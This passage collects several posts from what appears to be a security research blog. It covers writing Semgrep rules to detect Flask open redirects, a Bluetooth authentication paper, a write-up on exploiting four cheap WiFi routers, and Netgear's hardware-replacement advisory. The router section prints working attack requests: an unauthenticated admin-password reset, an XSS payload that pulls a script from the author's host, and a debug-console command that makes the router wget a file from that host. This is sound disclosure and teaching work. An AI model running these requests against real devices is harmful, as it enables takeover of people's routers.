In this example code, we can see a piece of Flask code that contains an open redirect vulnerability. We can dissect it into its various properties and see how we can match this in Semgrep. First we’ll mention the specific semantics of this function and what exactly we want to match.

Properties:

1. @app.route("/redirect/") – Already on the first line we see that our target functions have a route decorator that tells us that this function is used to handle a request, or that it directly receives user input by virtue of being an endpoint handler. Matching route/endpoint handlers is effective because input to an endpoint handler is unsanitized and could be a potential area of concern: 

from flask import redirect 
 
def do_redirect(uri):
    if is_logging_enabled():
        log(uri)
    
    return redirect(uri)
 
@app.route("/redirect/<uri>")
def handle_request(uri):
    #unsafe open_redirect
    
    if unsafe_uri(uri):
        return redirect_to_index()
    
    return do_redirect(uri)

In the listing above if we were to match every function that includes do_redirect instead of only route handlers that include do_redirect we could end up with false positives where an input to a function has already been sanitized. Already here we have some added complexity that does not bode well with other static analysis tools. In this case we would match do_redirect even though the URI it receives has already been sanitized in the function unsafe_uri(uri). This brings us to our first constraint: we need to match route handlers. 

2.    def handle_request(uri):here it’s important that we match a function right below the function decorator, and that this function takes in a parameter. We could match any function that has a route decorator which also contains a redirect, but then we could possibly match a function where the redirect input is constant or comes from sanitized storage. Matching a route handler with a parameter guarantees that it receives unsanitized user input. We can be sure of this because Flask does not do any URL sanitization. Specifying this results in more accurate matching and finer detection and brings us to our second constraint: that we need to match route handlers with 1 or more parameters

3.    return redirect(uri)here it may seem obvious, all we have to do is match redirect, right? Sadly, it is not that easy. Many APIs can have generic names that may collide with other modules using a generic text/regex search, this can be especially problematic in languages that support function overloading, where a specific overloaded instance of a function may have problems, but other overloaded instances are fine. Not accounting for these may result in many false positives. For example, consider the following snippet:

from robot import redirect
 
@app.route("/redirect/<uri>")
def handle_request(uri):
    #unsafe open_redirect
    return redirect(uri)

If we only matched redirect, we would match the redirect function from a module named robot which could be a false positive. An even more horrifying scenario to match would be an API or module that is imported under another name, e.g.:

from flask import redirect as rd

Thankfully, specifying the origin of the function allows Semgrep to handle all these cases and we’ll go more into detail on this when developing the patterns.

What does a good pattern account for?

A good pattern depends on your goals and how you use rules: finding performance bottlenecks, enforcing better programming practices, or finding security concerns as an auditor, everyone’s needs are different.

For a security assessment, it is important to find potential areas of concern, for example often areas that do not include sanitization are potentially dangerous. Ideally we want to eliminate as many false positives as possible and we can do this by excluding functions with sanitization. This brings us to our final constraint: we don’t want to match any functions containing sanitization keywords.

The Constraints

So far we have the following constraints:

  • match a route handler
  • match a function that takes in 1 or more parameters
  • match a redirect in the function that takes in a parameter from the function
  • IDEALLY: don’t match a function containing sanitization keywords

Step 3. Developing The Pattern

Now that we know all the constraints, and the semantics of the code we want to match we can finally start writing the pattern. I’ll put the end pattern for display, and we’ll dissect it together. Semgrep takes YAML files that describe multiple rules. Each rule contains a specific pattern to match.

 rules:
- id: my_pattern_id
  languages:
  - python
  message: found open redirect
  severity: ERROR
  patterns:
  - pattern-inside: |
      @app.route(...)
      def $X(..., $URI_VAR, ...):
        ...
        flask.redirect($URI_VAR)
  - pattern-not-regex: (sanitize|validate|safe|check|verify) 

rules: – Every Semgrep rule file has to start with the rules tag, this is an array of rules as a Semgrep rule file may contain multiple rules.

- id: my_pattern_id Every Semgrep rule in the rules array has an id, this is essentially the name of the rule and must be unique.

languages: 
  - python

The language this rule works with. This determines how it parses the pattern & which files it checks.

message: found open redirect the message displayed when the Semgrep search matches a pattern, you can think of this like a compiler warning message.

severity: ERROR determines the color and other aspects of the messages upon a successful match. You can think of this as a compiler error, except it’s just a more severe warning, this is good for filtering through different levels of matches with Semgrep, or to cut down on time by searching only for erroneous patterns.

patterns:
  - pattern: |
      @app.route(...)
      def $X(..., $URI_VAR, ...):
        ...
        flask.redirect($URI_VAR)
  - pattern-not-regex: (sanitize|validate|safe|check|verify)

This is the final part of the rule and contains the actual logic of the pattern, a rule has to contain a top-level pattern element. In order for a match to be successful the final result of all the logic has to be true. In this case the top level element is a patterns, which only returns true if all the elements underneath it return true.

  - pattern: |
      @app.route(...)
      def $X(..., $URI_VAR, ...):
        ...
        flask.redirect($URI_VAR)

This pattern searches for code that satisfies the first 3 constraints, with the ellipsis representing anything. @app.route(...) will match any call to that function with any number of arguments (including none).

def $X(..., $URI_VAR, ...):

matches any function, and stores its name in the variable $X. It then matches any argument in this function, whether it be in the middle or at the end and stores it in $URI_VAR.

The Ellipsis following matches any code in this function until the next statement in the pattern which in this case is flask.redirect($URI_VAR) which matches redirect only if its arguments come from the function variable $URI_VAR. If these constraints are all satisfied, it then passes the text it matches onto the next pattern and it returns true.

One amazing feature of Semgrep is its ability to match fully qualified function names, even when they are imported with an alias. In this case, matching flask.redirect($URI_VAR) would match only redirects from flask, even if they are imported with another name (such as redir or rd).

- pattern-not-regex: (sanitize|validate|safe|check|verify)

This pattern is responsible for eliminating potential false positives. It’s very simple: it runs a regex against the matched text and if the regex comes back with any matches, it returns false otherwise it returns true. With this we’re checking if likely sanitization elements exist in the function code. The text that is used to check for these sanitization elements is obviously not perfect, but it can be tailored to the project you are working on and can always be extended to include more possible keywords. Alternatively it can be removed completely when considering the false positives vs. missed true positives balance.

Step 4. Testing & Debugging

Now that we’ve made our pattern, we can test it on the online Semgrep playground to see if it works. Here we can make small changes and get instant feedback in order to improve our patterns. Below is an example of the rules at work matching the unsanitized open redirect and ignoring the safe redirect.

https://semgrep.dev/s/65lY

Trade Offs, Quantity vs Quality

When designing these patterns, it’s possible to spend all your time trying to write the best pattern that catches every situation, filters out all the false-positives and what not, but this is an almost futile endeavor and can lead into rabbit holes. Also, overly precise rules may filter things that weren’t even meant to be filtered. The dilemma always comes down to how many false positives are you willing to handle–this tradeoff is up to Semgrep users to decide for themselves. When absolutely critical it may be better to have more false positives but to catch everything, whereas from an auditor’s perspective it may be better to have a more precise ruleset to start with a good lead and to be efficient, and then audit unmatched code later. Or perhaps a graduated approach where higher false positive rules are enabled for subsequent runs of SAST tooling.

Return on Investment

When it comes to analysis tools, it’s important to understand how much you need to set up & maintain to truly get value back. If they are complicated to update and maintain sometimes it’s just not worth it. The great upside to Semgrep is the ease of use–one can start developing patterns after doing the 20 minute tutorial and make a significant amount of rules in a day, and the benefits can be felt immediately. It requires no fiddling with versions or complicated compiler setup, and once a ruleset has been developed it’ll work on any supported languages. 

Showcase – Django.nV

Django.nV is a very well-made intentionally vulnerable application that uses the Django framework to introduce a variety of bugs for learning framework-specific penetration testing, from XSS to more framework specific bugs. Thanks to nVisium for making a great training application open source!

We used Django.nV to test IncludeSec’s inhouse rules and came up with 4 new instances of vulnerabilities that the community rulesets missed:

django.nV/taskManager/settings.py
severity:warning rule:MD5Hasher for password: use a more secure hashing algorithm for password
124:PASSWORD_HASHERS = ['django.contrib.auth.hashers.MD5PasswordHasher']
 
django.nV/taskManager/templates/taskManager/base_backend.html
severity:error rule:Unsafe XSS usage: unsafe template usage in html,
58:                        <span class="username"><i class="fa fa-user fa-fw"></i> {{ user.username|safe }}</span>
 
django.nV/taskManager/templates/taskManager/tutorials/base.html
severity:error rule:Unsafe XSS usage: unsafe template usage in html,
54:                        <span class="username">{{ user.username|safe }}</span>
 
django.nV/taskManager/views.py
severity:warning rule:django open redirect: unvalidated open redirect
394:    return redirect(request.GET.get('redirect', '/taskManager/'))

MD5Hashing – detects that the MD5Hasher has been used for passwords, which is cryptographically insecure.

Unsafe template usage in HTML – detects the use of user parameters with the safe keyword in html, which could introduce XSS.

Open redirect – very similar to the example patterns we already discussed. It detects an open redirect in the logout view.

We’ve collaborated with the kind developers of Semgrep and the people over at returntocorp (r2c) to get certain rules in the default Django Semgrep rule repository.

Conclusion

In conclusion, Semgrep makes it relatively painless to write custom static analysis rules to audit applications. Improper usage of framework APIs can be a common source of bugs, and we at IncludeSec found that a small amount of up front investment learning the syntax paid dividends when auditing applications using these frameworks.

The post Customizing Semgrep Rules for Flask/Django and Other Popular Web Frameworks appeared first on Include Security Research Blog.

Issues with Indefinite Trust in Bluetooth

25 August 2021 at 14:37

At IncludeSec we of course love to hack things, but we also love to use our skills and insights into security issues to explore innovative solutions, develop tools, and share resources. In this post we share a summary of a recent paper that I published with fellow researchers in the ACM Conference on Security and Privacy in Wireless and Mobile Networks (WiSec’21). WiSec is a conference well attended by people across industry, government, and academia; it is dedicated to all aspects of security and privacy in wireless and mobile networks and their applications, mobile software platforms, Internet of Things, cyber-physical systems, usable security and privacy, biometrics, and cryptography. 

Overview

Recurring Verification of Interaction Authenticity Within Bluetooth Networks
Travis Peters (Include Security), Timothy Pierson (Dartmouth College), Sougata Sen (BITS GPilani, KK Birla Goa Campus, India), José Camacho (University of Granada, Spain), and David Kotz (Dartmouth College)

The most common forms of authentication are passwords, potentially used in combination with a second factor such as a hardware token or mobile app (i.e., two-factor authentication). These approaches emphasize a one-time, initial authentication. After initial authentication, authenticated entities typically remain authenticated until an explicit deauthentication action is taken, or the authenticated session expires. Unfortunately, explicit deauthentication happens rarely, if ever. To address this issue, recent work has explored how to provide passive, continuous authentication and/or automatic de-authentication by correlating user movements and inputs with actions observed in an application (e.g., a web browser). 

The issue with indefinite trust, however, goes beyond user authentication. Consider devices that pair via Bluetooth, which commonly follow the pattern of pair once, trust indefinitely. After two devices connect, those devices are bonded until a user explicitly removes the bond. This bond is likely to remain intact as long as the devices exist, or until they transfer ownership (e.g., sold or lost).

The increased adoption of (Bluetooth-enabled) IoT devices and reports of the inadequacy of their security makes indefinite trust of devices problematic. The reality of ubiquitous connectivity and frequent mobility gives rise to a myriad of opportunities for devices to be compromised. Thus, I put forth the argument with my academic research colleagues that one-time, single-factor, device-to-device authentication (i.e., an initial pairing) is not enough, and that there must exist some mechanism to frequently (re-)verify the authenticity of devices and their connections.

In our paper we propose a device-to-device recurring authentication scheme – Verification of Interaction Authenticity (VIA) – that is based on evaluating characteristics of the communications (interactions) between devices. We adapt techniques from wireless traffic analysis and intrusion detection systems to develop behavioral models that capture typical, authentic device interactions (behavior); these models enable recurring verification of device behavior.

Technical Highlights

  • Our recurring authentication scheme is based on off-the-shelf machine learning classifiers (e.g., Random Forest, k-NN) trained on characteristics extracted from Bluetooth/BLE network interactions. 
  • We extract model features from packet headers and payloads. Most of our analysis targets lower-level Bluetooth protocol layers, such as the HCI and L2CAP layers; higher-level BLE protocols, such as ATT, are also information-rich protocol layers. Hybrid models – combining information extracted from various protocol layers – are more complex, but may yield better results.
  • We construct verification models from a combination of fine-grained and coarse-grained features, including n-grams built from deep packet inspection, protocol identifiers and packet types, packet lengths, and packet directionality (ingress vs. egress). 
Our verification scheme can be deployed anywhere that interposes on Bluetooth communications between two devices. One example we consider is a deployment within a kernel module running on a mobile platform.

Other Highlights from the Paper 

  • We collected and presented a new, first-of-its-kind Bluetooth dataset. This dataset captures Bluetooth network traces corresponding to app-device interactions between more than 20 smart-health and smart-home devices. The dataset is open-source and available within the VM linked below.
  • We enhanced open-source Bluetooth analysis software – bluepy and btsnoop – in an effort to improve the available tools for practical exploration of the Bluetooth protocol and Bluetooth-based apps.
  • We presented a novel modeling technique, combined with off-the-shelf machine learning classifiers, for characterizing and verifying authentic Bluetooth/BLE app-device interactions.
  • We implemented our verification scheme and evaluated our approach against a test corpus of 20 smart-home and smart-health devices. Our results show that VIA can be used for verification with an F1-score of 0.86 or better in most test cases.

To learn more, check out our paper as well as a VM pre-loaded with our code and dataset

Final Notes

Reproducible Research

We are advocates for research that is impactful and reproducible. At WiSec’21 our published work was featured as one of four papers this year that obtained the official replicability badges. These badges signify that our artifacts are available, have been evaluated for accuracy, and that our results were independently reproducible. We thank the ACM the WiSec organizers for working to make sharing and reproducibility common practice in the publication process. 

Next Steps

In future work we are interested in exploring a few directions:

  • Continue to enhance tooling that supports Bluetooth protocol analysis for research and security assessments
  • Expand our dataset to include more devices, adversarial examples, etc. 
  • Evaluate a real-world deployment (e.g., a smartphone-based multifactor authentication system for Bluetooth); such a deployment would enable us to evaluate practical issues such as verification latency, power consumption, and usability. 

Give us a shout if you are interested in our team doing bluetooth hacks for your products!

The post Issues with Indefinite Trust in Bluetooth appeared first on Include Security Research Blog.

Drive-By Compromise: A Tale Of Four WiFi Routers

1 October 2021 at 01:58

The consumer electronics market is a mess when it comes to the topic of security, and particularly so for routers and access points. We’ve seen a stark increase in demand for device work over the past year and even some of the best-funded products make plenty of security mistakes. There are a dozen vendors selling products within any portion of this market and it is incredibly hard to discern the overall security posture of a device from a consumer’s perspective. Even security professionals struggle with this – the number one question I’ve received when I describe my security work in this space to non-security people is "Okay, then what router should I buy?" I still don’t feel like I have a good answer to that question. ¯\(ツ)

Hacking on a router is a great way to learn about web and device security, though. This industry seems stuck in a never-ending cycle in which security is almost always an afterthought. Devices are produced at the cheapest cost manageable, and proper security testing is an expensive endeavor. Products ship full of security vulnerabilities, see support for a handful of years, and then reach end-of-life only to be replaced by the new shiny model.

For years I’ve given this as my number one recommendation to people new to infosec as a means of leveling up their skills. In late 2020, someone asked me for practical advice on improving at web application security. I told him to go buy the cheapest router he could find on Amazon and that I’d help walk him through it. This ended up being the WAVLINK AC1200, clocking in at a whopping $28 at the time.

More fun indeed

Of course, I was personally tempted into get involved, so I picked one up myself. After a couple weekends playing with the device I’d found quite a few bugs. This culminated in a solid chain of vulnerabilities that made it fairly simple to remotely compromise the device – all from simply visiting an attacker-controlled webpage (aka ‘drive-by’ attack). This is a pretty amazing feeling, and doing this sort of work has turned into a hobby. $28 for a few weekends of fun? Cheaper than a lot of options out there!

This initial success got me excited enough that I bought a few more devices at around the same price-point. They delivered in a similar fashion, giving me quite a bit of fun during the winter months of 2020. First, though, let’s dive into the WAVLINK AC1200…

WAVLINK AC1200

When initially digging into this, I didn’t bother to check for prior work as the journey is the fun part. Several of the vulnerabilities I discovered were found independently (and earlier) by others, and some of them have been publicly disclosed. The other vulnerabilities were either disclosed in private, or caught internally by WAVLINK – the firmware released in December 2020 seems to have patched it all. If you happen to have one, you should definitely go install the updated firmware.

Alright, let’s get into it. There are a few things going on with this router:

  1. A setup wizard is not disabled after being used, letting unauthenticated callers set the device password.
  2. Cross-site request forgery (CSRF) throughout the management console.
  3. Cross-site scripting (XSS) in the setup wizard.
  4. A debug console that allows execution of arbitrary system commands.
pew pew pew

The Magical Setup Wizard

When first provisioning the device, users are met with a pretty simple setup wizard:

WAVLINK AC1200 Setup Wizard

When you save, the application sends a POST request like the following:

POST /cgi-bin/login.cgi HTTP/1.1
Host: 192.168.10.1
Content-Type: application/x-www-form-urlencoded
<HTTP headers redacted for brevity>

page=sysinit&wl_reddomain=WO&time_zone=UTC+04:00&newpass=Password123&wizardpage=/wizard.shtml&hashkey=0abdb6489f83d63a25b9a025b8a518ad&syskey=M98875&wl_reddomain1=WO&time_zone1=UTC+04:00&newpass1=supersecurepassword

Once this wizard is completed, the endpoint is not disabled, essentially allowing an attacker to re-submit the setup wizard. Since it’s implemented to not require authentication, an attacker can call back with a properly-formed request if someone happens to visit an attacker-controlled website. It can also be cleaned up a bit, as only some of the parameters are required:

POST /cgi-bin/login.cgi HTTP/1.1
Host: 192.168.10.1
Content-Type: application/x-www-form-urlencoded
<HTTP headers redacted for brevity>

page=sysinit&newpass=<attacker-supplied password>

In addition, the wizardpage parameter is vulnerable to reflected XSS and we can use a single request to pull in some extra JavaScript:

POST /cgi-bin/login.cgi HTTP/1.1
Host: 192.168.10.1
Content-Type: application/x-www-form-urlencoded
<HTTP headers redacted for brevity>

page=sysinit&newpass=hunter2&wizardpage=</script><script src="http://q.mba:1234/poc.js">//

When a victim visits our page, we can see this request in the HTTP server logs:

This additional code can be used for all sorts of nefarious purposes, but first…

Command Execution as a Service

One of the bugs that was reported on fairly extensively had to do with this lovely page, hidden in the device’s webroot:

The reports claimed that this is a backdoor, though honestly it seems more like a debug/test console to me. Regardless, it’s pretty useful for this exploit 🙂

With the additional JavaScript pulled in via XSS, we can force the targeted user into logging into the web console (with the newly set password) and then use the debug console to pull down a file:

POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Type: application/x-www-form-urlencoded
<HTTP headers redacted for brevity>

page=sysCMD&command=wget+http://q.mba:1234/rce.txt+-O+/etc_ro/lighttpd/www/rce.txt&SystemCommandSubmit=Apply

In this case I’m just using wget, but it would be pretty trivial to do something more meaningful here. All-in-all, quite a fun time working this all out and it proved to be a great training exercise for some folks.

Cudy and Tenda

The next two devices that came across my desk for IoT research practice were the Cudy WR1300 and the Tenda AC6V2. While not quite as vulnerable as the WAVLINK, they were both quite vulnerable in their ‘default’ state. That is, if someone were to purchase one and just plug in an Ethernet cable, it’d work perfectly well but attacks can easily exploit gaps in the web management interfaces.

The Tenda AC6v2

For this device, exploitation is trivial if the device hasn’t been provisioned. Since you plug it in and It Just Works, this is fairly likely. Even if a victim has set a password, then attacks are possible if a victim is logged into the web interface, or an attacker can guess or crack the password.

We ended up reporting several findings:

  1. CSRF throughout the web console.
  2. Command injection in the NTP configuration (a classic, at this point).
  3. MD5-hashed user passwords stored in a cookie.
  4. The aforementioned gap introduced by not requiring users to complete web provisioning before use.

Only 1 and 2 are required for remote compromise. We reported these back in May and received no response, and the firmware has not been updated at the time of writing this post.

The Cudy WR1300

For this device, users are not prompted to change the default password (admin), even if they happen to log into the web interface to set the device up. The console login is also vulnerable to CSRF, which is a nasty combination. Once logged in, users can be redirected to a page that is vulnerable to reflected XSS, something like:

http://192.168.10.1/cgi-bin/luci/admin/network/bandwidth?iface=wlan10&icon=icon-wifi&i18name=<script>yesitsjustthateasy</script>

this enables an attacker to bypass the CSRF protections on other pages. Of particular interest are the network utilities, each of which (ping/traceroute/nslookup) are vulnerable to command injection. To sum it all up, the exploit chain ends up looking as follows:

  1. Use CSRF to log into the web console (admin/admin).
  2. Redirect to the page vulnerable to cross-site scripting.
  3. Bypass CSRF protections in order to exploit command injection in the ping test feature.

We reported these findings to Cudy in May as well, and they have released new firmware for this device. We haven’t been able to verify the fixes, however we recommend updating to the most recent firmware if you happen to have one of these devices.

Firmware Downgrades For Fun and Profit

The final device that I ended up taking a look in this batch is the Netgear EX6120:

The EX6120 is a fairly simple WiFi range extender that’s been on the market for several years now, at about the same price point as the other devices. This is one that I’d actually purchased a couple years prior but hadn’t found a good way to compromise. After finishing up with the other devices, I was hungry for more and so tried hacking on this one again. Coming back to something with a fresh set of eyes can often yield great results, and that was definitely the case for this device.

When I sit down to test one of these devices my first step is always to patch the firmware to the latest version. On a recent assessment I’d found a CSRF vulnerability that was the result of a difference in the Content-Type on a request. Essentially, all POST requests with the typical Content-Type used throughout the application (x-www-form-urlencoded) were routed through some common code that enforced CSRF mitigations. However, a couple endpoints in the application supported file uploads and those used multipart forms which conveniently lacked CSRF protections.

With that fresh in my mind, as I was upgrading the firmware I tried removing the CSRF token in much the same way. Sure enough – it worked! I crossed my fingers and tested against the most recent firmware, and it had not been patched yet. This vulnerability on its own is okay, though as mentioned previously it’s not all that likely that a victim is going to be logged into the web console and that would be required to exploit it.

It didn’t take very long to find a way, though. In a very similar fashion, multipart-form requests did not seem to require authentication at all. I’ve seen this previously in other applications and the root cause is often quite similar to the gap in CSRF protections. A request or two uses some fundamentally different way of communicating with the application and as such doesn’t enforce the same restrictions. It’s a bit of a guess as to what the root cause in this specific case is, but that’s my best guess 🙂

Once the firmware is downgraded, previously disclosed vulnerabilities can be used to remotely execute commands on the underlying operating system of the device. It’s possible to revert to the initial firmware, now many years old. There are a high number of vulnerabilities reported against the previous versions, but I only verified that the proof-of-concept described here worked.

We reported this to Netgear in May as well, and they got back to us fairly quickly. Updated firmware has been released, however we haven’t verified the fixes.

Final Thoughts

As always, doing this sort of research has been a very rewarding experience. Plenty of bugs found and reported, new techniques learned, and overall just a lot of fun to play around with. The consumer device space feels like something ripped out of time, where we can rewind twenty years to the ‘good old days’ where exploits of this nature were commonplace. We do see some signs of improvement here and there, but as you go to buy your next device consider the following:

  1. Is the device from a recognized brand? How long have they been around? How’s their track record for security vulnerabilities? How have they responded to vulnerabilities in the past?
  2. Cheaper is not always better. It’s absolutely crazy how cheap some of this hardware has become, and you’re generally getting what you paid for. Software security is expensive to do right and if it seems too good to be true, it often is.
  3. Does the device have known vulnerabilities? This can be as simple as searching for ‘<brand> <model> vulnerabilities’.
  4. How likely is it that you’ll log in to install new firmware? If the answer is ‘not often’ (and no judgement if so – many security professionals I know are plenty guilty here!) then consider getting a model with support for automatic updates.

And finally, while this post has covered vulnerabilities in a lot of cheaper devices, sometimes the more expensive ones can be just as vulnerable. Doing a little research can go a long way towards making informed choices. We hope this post helps illustrate just how vulnerable some of these devices can be.

The post Drive-By Compromise: A Tale Of Four WiFi Routers appeared first on Include Security Research Blog.

Working with vendors to “fix” unfixable vulnerabilities: Netgear BR200/BR500

By Erik Cabetas

In the summer of 2021 Joel St. John was hacking on some routers and printers on his IncludeSec research time. He reported security vulnerabilities to Netgear in their BR200 router line (branded as “Netgear Insight Managed Business Router”). During subsequent internal analysis by Netgear, they found that the BR500 line was also affected by the same concerns identified by IncludeSec. We should note that both of these product lines reached their end-of-life date in 2021 around the time we were doing this research.

Today we want to take a quick moment to discuss a different angle of the vulnerability remediation process that we think was innovative and interesting from the perspective of the consumer and product vendor: hardware product replacement as a solution for vulnerabilities. In the following link released today, you’ll find Netgear’s solution for resolving security risks for customers with regard to this case: https://kb.netgear.com/000064712/Security-Advisory-for-Multiple-Security-Vulnerabilities-on-BR200-and-BR500-PSV-2021-0286.

We won’t discuss the details of the vulnerabilities reported in this post, but suffice to say, they were typical of other SoHo-type products (e.g., CSRF, XSS, admin functionality access, etc.) but were chained in various ways such that mass exploitation is not possible (i.e., this was not wormable). Regardless of the technical details of the vulnerabilities reported, if you are an owner of a BR200 or BR500 router, you should take this chance to upgrade your product!

That last concept of “upgrade your product” for SoHo devices has traditionally been an update of firmware. This method of product upgrade can work well when you have a small company with a small set of supported products (like a Fitbit, as an example), but what happens when you’re a huge company with hundreds of products, hundreds of third parties, and thousands of business agreements? Well, then the situation gets complicated quickly, thus begging the question, “If I reach a speed bump or roadblock in my firmware fix/release cycle, how do I ensure consumers can remain safe?” or “This product is past its end-of-life date. How do we keep consumers on legacy products safe?”

While we don’t have full knowledge of the internal happenings at Netgear, it’s possible that a similar question and answer scenario may have happened at the company. As of May 19, 2022, Netgear decided to release a coupon to allow consumers to obtain a free or 50% discounted (depending on how long you’ve owned the device) new router of the latest model to replace the affected BR200/BR500 devices. Additionally, both affected router models were marked obsolete and their end of life date hit in 2021. 

We think this idea of offering a hardware product replacement as a solution for customers is fairly unique and is an interesting idea rooted in the good intention of keeping users secure. Of course it is not without pitfalls, as there is much more work required to physically replace a hardware device, but if the only options are “replace this hardware” or “have hardware with vulnerabilities”, the former wins most every time.

As large vendors seek to improve security and safety for theirs users in the face of supply chain complexities common these days in the hardware world, we at IncludeSec predict that this will become a more common model of occurrence especially when thinking about the entire product lifecycle for commercial products and how many points may actually be static due to internal or external reasons which may be technical or business related.

For those who have the BR200/BR500 products and are looking to reduce risk, we urge you to visit Netgear’s web page and take advantage of the upgrade opportunity. That link again is: https://kb.netgear.com/000064712/Security-Advisory-for-Multiple-Security-Vulnerabilities-on-BR200-and-BR500-PSV-2021-0286

Stay safe out there folks, and kudos to all those corporations who seek to keep their users safe with product upgrades, coupons for new devices, or whatever way they can!

The post Working with vendors to “fix” unfixable vulnerabilities: Netgear BR200/BR500 appeared first on Include Security Research Blog.

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